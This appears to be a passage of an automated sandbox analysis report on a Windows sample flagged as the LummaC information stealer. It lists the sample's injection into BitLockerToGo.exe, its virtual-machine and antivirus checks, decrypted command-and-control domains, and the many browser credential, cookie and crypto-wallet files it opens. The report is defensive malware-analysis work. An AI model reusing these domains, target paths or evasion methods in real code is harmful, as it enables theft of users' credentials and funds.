Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe

Static file information: File size 7386624 > 1048576

Source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x275c00
Source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe	Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x3ab800

Source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: BitLockerToGo.pdb source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe, 00000000.00000003.1835322453.0000018422360000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe, 00000000.00000003.1835355851.0000018422320000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe, 00000000.00000002.1846140099.000000C000604000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe, 00000000.00000002.1845670772.000000C00048E000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe, 00000000.00000003.1835322453.0000018422360000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe, 00000000.00000003.1835355851.0000018422320000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe, 00000000.00000002.1846140099.000000C000604000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe, 00000000.00000002.1845670772.000000C00048E000.00000004.00001000.00020000.00000000.sdmp

Source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe

Static PE information: section name: .xdata

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_02471E94 push edx; rep ret	2_2_02471E95
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_02472CE4 push ss; iretd	2_2_02472CBA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_02472CA9 push ss; iretd	2_2_02472CBA

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 6544	Thread sleep time: -150000s >= -30000s			Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 6544	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe	Binary or memory string: depgithub.com/vmware/govmomiv0.38.0h1:UvQpLAOjDpO0JUxoPCXnEzOlEa/9kejO6K58qOFr6cM=
Source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe	Binary or memory string: github.com/vmware/govmomi@v0.38.0/vim25/debug/debug.go
Source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe	Binary or memory string: github.com/vmware/govmomi/vim25/debug.init
Source: BitLockerToGo.exe, 00000002.00000003.1935435759.0000000002A22000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1978227639.0000000002A24000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1978134579.00000000029E0000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1874159384.0000000002A22000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1977675505.0000000002A23000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1874093700.0000000002A20000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1945337355.0000000002A22000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: BitLockerToGo.exe, 00000002.00000003.1935435759.0000000002A22000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1978227639.0000000002A24000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1874159384.0000000002A22000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1977675505.0000000002A23000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1874093700.0000000002A20000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1945337355.0000000002A22000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWAr
Source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe, 00000000.00000002.1847035929.000001845B0B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_02469BC0 LdrInitializeThunk,

2_2_02469BC0

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe

Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2430000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe

Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2430000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe, 00000000.00000003.1702859733.000000C000604000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: pedestriankodwu.xyz
Source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe, 00000000.00000003.1702859733.000000C000604000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: towerxxuytwi.xyz
Source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe, 00000000.00000003.1702859733.000000C000604000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: ellaboratepwsz.xyz
Source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe, 00000000.00000003.1702859733.000000C000604000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: penetratedpoopp.xyz
Source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe, 00000000.00000003.1702859733.000000C000604000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: swellfrrgwwos.xyz
Source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe, 00000000.00000003.1702859733.000000C000604000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: contintnetksows.shop
Source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe, 00000000.00000003.1702859733.000000C000604000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: foodypannyjsud.shop
Source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe, 00000000.00000003.1702859733.000000C000604000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: potterryisiw.shop
Source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe, 00000000.00000003.1702859733.000000C000604000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: willingyhollowsk.shop

Writes to foreign memory regions

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2430000			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2779008			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe

Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 1868, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: BitLockerToGo.exe, 00000002.00000003.1935435759.0000000002A22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: BitLockerToGo.exe, 00000002.00000003.1935435759.0000000002A22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: BitLockerToGo.exe, 00000002.00000003.1935435759.0000000002A22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: BitLockerToGo.exe, 00000002.00000003.1935435759.0000000002A22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: BitLockerToGo.exe, 00000002.00000003.1935435759.0000000002A22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: BitLockerToGo.exe, 00000002.00000003.1935435759.0000000002A22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: BitLockerToGo.exe, 00000002.00000003.1935435759.0000000002A22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: BitLockerToGo.exe, 00000002.00000003.1935483492.0000000002A06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: BitLockerToGo.exe, 00000002.00000003.1935435759.0000000002A22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
